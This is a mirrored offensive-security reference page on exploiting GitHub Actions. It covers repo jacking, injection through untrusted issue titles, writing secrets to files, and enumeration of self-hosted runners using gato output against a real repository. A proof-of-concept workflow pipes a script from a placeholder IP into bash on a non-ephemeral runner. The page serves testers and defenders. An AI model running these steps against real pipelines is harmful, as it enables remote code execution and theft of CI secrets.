mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
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154 lines
6.1 KiB
Markdown
154 lines
6.1 KiB
Markdown
# GitHub Actions
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## Default Action
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The configuration files for GH actions are located in the directory `.github/workflows/`\
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You can tell if the action builds pull requests based on its trigger (`on`) instructions:
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```yaml
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on:
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push:
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branches:
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- master
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pull_request:
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```
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In order to run a command in an action that builds pull requests, add a `run` instruction to it.
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```yaml
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jobs:
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print_issue_title:
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runs-on: ubuntu-latest
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name: Command execution
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steps:
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- run: echo whoami"
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```
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## Misconfigured Actions
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Analyze repositories to find misconfigured Github actions.
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* [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows.
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* [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD.
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```ps1
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# Using Docker
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$ docker run ghcr.io/boostsecurityio/poutine:latest
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# Analyze a local repository
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$ poutine analyze_local .
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# Analyze a remote GitHub repository
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$ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow
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# Analyze all repositories in a GitHub organization
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$ poutine -token "$GH_TOKEN" analyze_org messypoutine
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# Analyze all projects in a self-hosted Gitlab instance
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$ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo
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```
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### Repo Jacking
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When the action is using a non-existing action, Github username or organization.
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```yaml
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- uses: non-existing-org/checkout-action
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```
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> :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/)
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### Untrusted Input Evaluation
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An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
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```yaml
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jobs:
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print_issue_title:
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runs-on: ubuntu-latest
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name: Print issue title
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steps:
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- run: echo "${{github.event.issue.title}}"
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```
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### Extract Sensitive Variables and Secrets
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**Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context.
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**Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context.
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```yml
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jobs:
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build:
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runs-on: ubuntu-latest
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environment: env
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steps:
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- name: Access Secrets
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env:
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SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }}
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run: |
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echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties
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```
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* [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets.
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## Self-Hosted Runners
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A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment.
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Scan a public GitHub Organization for Self-Hosted Runners
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* [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition
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* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool
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```ps1
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gato -s enumerate -t targetOrg -oJ target_org_gato.json
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```
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There are 2 types of self-hosted runners: non-ephemeral and ephemeral.
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* **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment.
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* **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary.
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Identify the type of self-hosted runner with `gato`:
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```ps1
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gato e --repository vercel/next.js
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[+] The authenticated user is: swisskyrepo
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[+] The GitHub Classic PAT has the following scopes: repo, workflow
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- Enumerating: vercel/next.js!
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[+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners!
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[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner!
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- The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal
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[!] The repository contains a non-ephemeral self-hosted runner!
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[-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible.
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```
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Example of workflow to run on a non-ephemeral runner:
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```yml
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name: POC
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on:
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pull_request:
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jobs:
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security:
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runs-on: non-ephemeral-runner-name
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steps:
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- name: cmd-exec
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run: |
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curl -k https://ip.ip.ip.ip/exec.sh | bash
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```
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## References
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* [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners)
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* [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation)
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* [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot) |